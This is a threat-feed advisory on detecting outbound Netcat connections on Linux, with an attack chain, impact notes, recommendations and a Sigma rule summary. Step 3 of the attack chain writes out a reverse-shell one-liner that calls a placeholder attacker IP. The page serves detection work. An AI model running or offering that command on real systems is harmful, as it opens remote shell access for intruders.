Skip to content
Threat Feed
medium advisory

Detection of Malicious Netcat Usage on Linux

This brief details the detection of suspicious outbound network connections initiated by Netcat (nc, ncat) utilities on Linux systems, which are frequently used by threat actors for C2 communication and data exfiltration.

The Netcat utility and its derivatives (ncat, nc) are common networking tools on Linux systems that, while useful for administration and troubleshooting, are frequently abused during post-exploitation activities. Threat actors utilize these binaries to establish reverse shells, create persistent backdoor access, or exfiltrate data from compromised environments. Because Netcat is a dual-use tool, its presence in network telemetry indicating an outbound connection often serves as a high-fidelity indicator of a potential compromise or active command-and-control (C2) communication. Defenders should focus on identifying unauthorized outbound traffic generated by these specific process names to detect lateral movement or unauthorized data egress.

Attack Chain

  1. Attacker gains initial access to a Linux host (e.g., via web shell or exploited service).
  2. Attacker checks for the availability of networking utilities like nc or ncat.
  3. Attacker executes Netcat to connect to an external malicious listener (e.g., nc -e /bin/sh [attacker_ip] [port]).
  4. The operating system spawns the Netcat process.
  5. The Netcat process initiates an outbound network connection via TCP/UDP.
  6. EDR or Sysmon (Event ID 3) logs the network connection event associated with the process name.
  7. Attacker establishes a reverse shell session or initiates data exfiltration.

Impact

Successful exploitation of these techniques allows unauthorized parties to gain persistent remote access, move laterally through the internal network, or exfiltrate sensitive data. If left undetected, this activity can lead to full system compromise and significant data breaches within the targeted organization.

Recommendation

Deploy the provided Sigma detection rule to monitor network telemetry for outbound connections originating from Netcat-like binaries. Enable Sysmon Event ID 3 or equivalent EDR process-network logging. Filter out legitimate administrative traffic by baselineing common internal scanning tools or authorized troubleshooting sessions.


Immediate actions

Deploy Sigma rule for Netcat outbound monitoring

Detection Engineering 72h

Threat Hunt

Search for historical outbound network events containing nc/ncat process names.

T1059.004 medium high confidence hunt now

Data: Network connection logs

Detection coverage 1

Detect Linux Netcat Outbound Connections

medium

Detects outbound network connections initiated by Netcat or ncat binaries, which are frequently used for reverse shells or exfiltration.

sigma tactics: command_and_control techniques: T1059.004 sources: network_connection, linux

Detection queries are available on the platform. Get full rules →